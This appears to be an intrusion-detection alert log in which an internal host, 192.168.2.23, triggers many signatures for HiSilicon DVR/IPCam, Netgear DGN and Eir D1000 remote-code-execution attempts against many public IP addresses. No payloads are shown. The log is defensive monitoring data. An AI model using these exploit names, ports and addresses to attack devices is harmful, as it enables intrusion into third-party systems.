05/16/24-16:39:03.281185	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59116	9530	192.168.2.23	72.129.91.71
05/16/24-16:38:55.201814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52638	9530	192.168.2.23	168.115.126.243
05/16/24-16:39:02.725512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33064	9530	192.168.2.23	106.88.37.83
05/16/24-16:38:55.176056	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50970	9530	192.168.2.23	180.186.132.98
05/16/24-16:39:12.378459	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32808	9530	192.168.2.23	176.89.2.230
05/16/24-16:39:12.378459	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32808	9530	192.168.2.23	176.89.2.230
05/16/24-16:38:55.176056	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50970	9530	192.168.2.23	180.186.132.98
05/16/24-16:38:50.047733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43766	9530	192.168.2.23	94.61.179.164
05/16/24-16:39:08.093048	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42374	9530	192.168.2.23	8.95.228.31
05/16/24-16:39:05.711696	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40284	9530	192.168.2.23	4.216.151.83
05/16/24-16:39:08.093048	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42374	9530	192.168.2.23	8.95.228.31
05/16/24-16:39:05.711696	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40284	9530	192.168.2.23	4.216.151.83
05/16/24-16:38:55.206799	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40038	9530	192.168.2.23	156.67.159.191
05/16/24-16:38:55.206799	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40038	9530	192.168.2.23	156.67.159.191
05/16/24-16:38:50.047742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45722	9530	192.168.2.23	189.95.171.105
05/16/24-16:38:50.047742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45722	9530	192.168.2.23	189.95.171.105
05/16/24-16:39:05.677845	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46952	9530	192.168.2.23	196.100.53.197
05/16/24-16:39:02.764183	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48968	9530	192.168.2.23	147.157.68.101
05/16/24-16:38:59.520034	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33528	9530	192.168.2.23	95.145.17.210
05/16/24-16:39:14.532697	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42340	9530	192.168.2.23	27.187.230.246
05/16/24-16:39:14.532697	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42340	9530	192.168.2.23	27.187.230.246
05/16/24-16:39:05.677845	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46952	9530	192.168.2.23	196.100.53.197
05/16/24-16:38:53.403411	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	35476	80	192.168.2.23	22.15.103.15
05/16/24-16:39:14.491075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40244	9530	192.168.2.23	122.19.160.80
05/16/24-16:38:57.411050	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40614	9530	192.168.2.23	145.225.92.178
05/16/24-16:38:59.584459	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47268	9530	192.168.2.23	119.77.197.55
05/16/24-16:39:14.491075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40244	9530	192.168.2.23	122.19.160.80
05/16/24-16:38:57.411050	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40614	9530	192.168.2.23	145.225.92.178
05/16/24-16:38:59.584459	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47268	9530	192.168.2.23	119.77.197.55
05/16/24-16:39:08.124545	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43052	9530	192.168.2.23	179.79.171.171
05/16/24-16:39:08.124545	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43052	9530	192.168.2.23	179.79.171.171
05/16/24-16:38:57.413289	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35620	9530	192.168.2.23	65.21.121.241
05/16/24-16:38:57.413289	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35620	9530	192.168.2.23	65.21.121.241
05/16/24-16:38:53.011565	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40344	9530	192.168.2.23	54.67.123.150
05/16/24-16:38:55.176104	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37190	9530	192.168.2.23	204.233.131.190
05/16/24-16:38:53.011565	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40344	9530	192.168.2.23	54.67.123.150
05/16/24-16:38:55.176104	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37190	9530	192.168.2.23	204.233.131.190
05/16/24-16:39:14.507222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48836	9530	192.168.2.23	38.63.70.92
05/16/24-16:39:14.507222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48836	9530	192.168.2.23	38.63.70.92
05/16/24-16:38:55.196413	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54818	9530	192.168.2.23	31.70.29.132
05/16/24-16:38:55.210410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38816	9530	192.168.2.23	53.102.184.171
05/16/24-16:38:55.196413	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54818	9530	192.168.2.23	31.70.29.132
05/16/24-16:38:55.210410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38816	9530	192.168.2.23	53.102.184.171
05/16/24-16:39:05.707933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46552	9530	192.168.2.23	191.236.217.49
05/16/24-16:39:05.707933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46552	9530	192.168.2.23	191.236.217.49
05/16/24-16:39:03.276016	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43880	9530	192.168.2.23	177.228.239.104
05/16/24-16:39:03.276016	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43880	9530	192.168.2.23	177.228.239.104
05/16/24-16:38:57.407584	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41758	9530	192.168.2.23	112.217.7.47
05/16/24-16:39:16.614064	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52952	9530	192.168.2.23	197.38.87.130
05/16/24-16:38:57.407584	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41758	9530	192.168.2.23	112.217.7.47
05/16/24-16:39:01.475837	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	58292	80	192.168.2.23	28.192.76.236
05/16/24-16:39:02.745320	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43542	9530	192.168.2.23	207.174.190.57
05/16/24-16:39:02.745320	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43542	9530	192.168.2.23	207.174.190.57
05/16/24-16:39:16.614064	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52952	9530	192.168.2.23	197.38.87.130
05/16/24-16:39:02.747123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37924	9530	192.168.2.23	42.216.22.55
05/16/24-16:39:09.591889	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	46886	80	192.168.2.23	57.149.215.70
05/16/24-16:38:50.048958	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46942	9530	192.168.2.23	27.91.196.29
05/16/24-16:38:50.048958	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46942	9530	192.168.2.23	27.91.196.29
05/16/24-16:39:08.092962	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33580	9530	192.168.2.23	180.34.21.198
05/16/24-16:39:02.747123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37924	9530	192.168.2.23	42.216.22.55
05/16/24-16:38:59.520034	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33528	9530	192.168.2.23	95.145.17.210
05/16/24-16:39:12.298217	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33082	9530	192.168.2.23	136.182.184.8
05/16/24-16:39:12.298217	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33082	9530	192.168.2.23	136.182.184.8
05/16/24-16:39:14.517513	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39110	9530	192.168.2.23	172.76.182.147
05/16/24-16:39:12.382906	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46302	9530	192.168.2.23	104.74.51.50
05/16/24-16:39:12.382906	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46302	9530	192.168.2.23	104.74.51.50
05/16/24-16:39:14.517513	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39110	9530	192.168.2.23	172.76.182.147
05/16/24-16:39:16.579423	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37844	9530	192.168.2.23	73.152.85.17
05/16/24-16:39:16.579423	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37844	9530	192.168.2.23	73.152.85.17
05/16/24-16:39:08.044990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60678	9530	192.168.2.23	143.156.0.247
05/16/24-16:38:57.423113	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60450	9530	192.168.2.23	5.101.134.14
05/16/24-16:38:57.423113	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60450	9530	192.168.2.23	5.101.134.14
05/16/24-16:39:08.044990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60678	9530	192.168.2.23	143.156.0.247
05/16/24-16:39:16.599371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53384	9530	192.168.2.23	97.220.0.101
05/16/24-16:39:16.599371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53384	9530	192.168.2.23	97.220.0.101
05/16/24-16:39:02.727988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48898	9530	192.168.2.23	8.58.82.74
05/16/24-16:39:02.727988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48898	9530	192.168.2.23	8.58.82.74
05/16/24-16:39:14.510014	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47718	9530	192.168.2.23	8.135.13.41
05/16/24-16:39:14.510014	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47718	9530	192.168.2.23	8.135.13.41
05/16/24-16:39:12.301227	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35194	9530	192.168.2.23	57.47.18.75
05/16/24-16:39:03.262318	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36866	9530	192.168.2.23	114.129.25.27
05/16/24-16:39:03.262318	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36866	9530	192.168.2.23	114.129.25.27
05/16/24-16:39:08.044934	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36884	9530	192.168.2.23	97.61.128.72
05/16/24-16:39:08.149440	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33290	9530	192.168.2.23	65.81.195.50
05/16/24-16:38:50.068333	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38182	9530	192.168.2.23	103.219.96.193
05/16/24-16:39:08.149440	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33290	9530	192.168.2.23	65.81.195.50
05/16/24-16:38:50.068333	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38182	9530	192.168.2.23	103.219.96.193
05/16/24-16:38:50.047570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33754	9530	192.168.2.23	87.176.145.125
05/16/24-16:38:50.047570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33754	9530	192.168.2.23	87.176.145.125
05/16/24-16:38:59.519292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34336	9530	192.168.2.23	152.124.8.16
05/16/24-16:38:59.519292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34336	9530	192.168.2.23	152.124.8.16
05/16/24-16:39:08.092962	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33580	9530	192.168.2.23	180.34.21.198
05/16/24-16:39:12.298180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60628	9530	192.168.2.23	63.89.166.145
05/16/24-16:39:12.298180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60628	9530	192.168.2.23	63.89.166.145
05/16/24-16:38:59.609926	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37520	9530	192.168.2.23	42.222.236.116
05/16/24-16:39:05.676898	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60550	9530	192.168.2.23	156.24.160.57
05/16/24-16:38:59.609926	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37520	9530	192.168.2.23	42.222.236.116
05/16/24-16:39:05.676898	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60550	9530	192.168.2.23	156.24.160.57
05/16/24-16:39:14.493439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53500	9530	192.168.2.23	94.1.182.118
05/16/24-16:38:57.435755	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54334	9530	192.168.2.23	60.193.129.82
05/16/24-16:38:57.435755	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54334	9530	192.168.2.23	60.193.129.82
05/16/24-16:39:14.493439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53500	9530	192.168.2.23	94.1.182.118
05/16/24-16:39:12.301227	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35194	9530	192.168.2.23	57.47.18.75
05/16/24-16:38:59.590333	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46476	9530	192.168.2.23	103.252.211.151
05/16/24-16:38:59.590333	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46476	9530	192.168.2.23	103.252.211.151
05/16/24-16:38:57.441215	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59654	9530	192.168.2.23	121.66.149.166
05/16/24-16:39:12.400966	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59258	9530	192.168.2.23	53.255.186.99
05/16/24-16:38:57.441215	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59654	9530	192.168.2.23	121.66.149.166
05/16/24-16:39:12.400966	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59258	9530	192.168.2.23	53.255.186.99
05/16/24-16:39:16.577653	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59250	9530	192.168.2.23	20.220.139.7
05/16/24-16:39:16.577653	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59250	9530	192.168.2.23	20.220.139.7
05/16/24-16:39:11.095822	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49398	5555	192.168.2.23	204.250.208.68
05/16/24-16:39:05.676832	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60374	9530	192.168.2.23	209.2.14.201
05/16/24-16:39:05.676832	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60374	9530	192.168.2.23	209.2.14.201
05/16/24-16:39:02.749201	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60394	9530	192.168.2.23	167.249.78.203
05/16/24-16:39:02.749201	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60394	9530	192.168.2.23	167.249.78.203
05/16/24-16:39:12.295348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45538	9530	192.168.2.23	201.130.82.160
05/16/24-16:39:12.295348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45538	9530	192.168.2.23	201.130.82.160
05/16/24-16:39:03.260036	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43804	9530	192.168.2.23	92.174.77.109
05/16/24-16:39:05.500410	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	43658	80	192.168.2.23	82.88.139.252
05/16/24-16:38:57.407569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40360	9530	192.168.2.23	134.44.57.54
05/16/24-16:38:50.052488	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52820	9530	192.168.2.23	25.185.111.177
05/16/24-16:38:50.052488	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52820	9530	192.168.2.23	25.185.111.177
05/16/24-16:39:03.260036	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43804	9530	192.168.2.23	92.174.77.109
05/16/24-16:38:57.407569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40360	9530	192.168.2.23	134.44.57.54
05/16/24-16:39:08.146696	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37014	9530	192.168.2.23	69.175.115.232
05/16/24-16:39:08.146696	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37014	9530	192.168.2.23	69.175.115.232
05/16/24-16:39:14.527580	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39392	9530	192.168.2.23	169.102.138.48
05/16/24-16:39:14.527580	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39392	9530	192.168.2.23	169.102.138.48
05/16/24-16:38:55.192744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53746	9530	192.168.2.23	80.88.50.169
05/16/24-16:38:55.192744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53746	9530	192.168.2.23	80.88.50.169
05/16/24-16:39:03.281222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43634	9530	192.168.2.23	43.137.95.140
05/16/24-16:39:03.281222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43634	9530	192.168.2.23	43.137.95.140
05/16/24-16:39:05.717944	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46108	9530	192.168.2.23	196.132.99.83
05/16/24-16:39:02.767221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43882	9530	192.168.2.23	75.99.193.126
05/16/24-16:39:02.767221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43882	9530	192.168.2.23	75.99.193.126
05/16/24-16:39:16.608390	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33838	9530	192.168.2.23	136.2.232.41
05/16/24-16:39:16.608390	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33838	9530	192.168.2.23	136.2.232.41
05/16/24-16:39:05.717944	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46108	9530	192.168.2.23	196.132.99.83
05/16/24-16:38:55.227481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58726	9530	192.168.2.23	140.134.58.145
05/16/24-16:39:02.728008	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44582	9530	192.168.2.23	223.136.24.217
05/16/24-16:39:02.728008	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44582	9530	192.168.2.23	223.136.24.217
05/16/24-16:38:53.094021	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47996	9530	192.168.2.23	44.153.108.247
05/16/24-16:39:02.726933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54168	9530	192.168.2.23	166.167.9.108
05/16/24-16:39:03.269808	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41900	9530	192.168.2.23	45.161.66.0
05/16/24-16:39:02.726933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54168	9530	192.168.2.23	166.167.9.108
05/16/24-16:39:03.269808	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41900	9530	192.168.2.23	45.161.66.0
05/16/24-16:38:53.094021	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47996	9530	192.168.2.23	44.153.108.247
05/16/24-16:38:55.227481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58726	9530	192.168.2.23	140.134.58.145
05/16/24-16:38:55.216401	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39932	9530	192.168.2.23	186.157.53.63
05/16/24-16:38:55.216401	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39932	9530	192.168.2.23	186.157.53.63
05/16/24-16:38:50.080363	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52116	9530	192.168.2.23	2.23.151.35
05/16/24-16:38:50.080363	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52116	9530	192.168.2.23	2.23.151.35
05/16/24-16:39:02.747905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34064	9530	192.168.2.23	1.200.187.165
05/16/24-16:38:55.175174	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46260	9530	192.168.2.23	128.47.100.122
05/16/24-16:38:55.175174	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46260	9530	192.168.2.23	128.47.100.122
05/16/24-16:39:12.382798	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60116	9530	192.168.2.23	109.172.150.74
05/16/24-16:39:12.382798	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60116	9530	192.168.2.23	109.172.150.74
05/16/24-16:39:02.747905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34064	9530	192.168.2.23	1.200.187.165
05/16/24-16:39:02.726840	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36046	9530	192.168.2.23	27.89.78.135
05/16/24-16:39:02.726840	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36046	9530	192.168.2.23	27.89.78.135
05/16/24-16:38:55.193176	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51690	9530	192.168.2.23	120.190.106.83
05/16/24-16:38:55.193176	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51690	9530	192.168.2.23	120.190.106.83
05/16/24-16:39:03.262294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54282	9530	192.168.2.23	93.163.211.100
05/16/24-16:39:08.044934	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36884	9530	192.168.2.23	97.61.128.72
05/16/24-16:39:14.491102	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43430	9530	192.168.2.23	146.86.86.216
05/16/24-16:39:14.491102	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43430	9530	192.168.2.23	146.86.86.216
05/16/24-16:39:03.262294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54282	9530	192.168.2.23	93.163.211.100
05/16/24-16:39:14.491121	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58382	9530	192.168.2.23	63.205.138.228
05/16/24-16:38:55.206796	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58740	9530	192.168.2.23	213.208.147.73
05/16/24-16:39:14.491121	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58382	9530	192.168.2.23	63.205.138.228
05/16/24-16:38:50.004119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38918	9530	192.168.2.23	35.5.142.23
05/16/24-16:39:02.743872	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48596	9530	192.168.2.23	146.15.253.142
05/16/24-16:39:16.609825	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43174	9530	192.168.2.23	41.77.136.232
05/16/24-16:38:50.004119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38918	9530	192.168.2.23	35.5.142.23
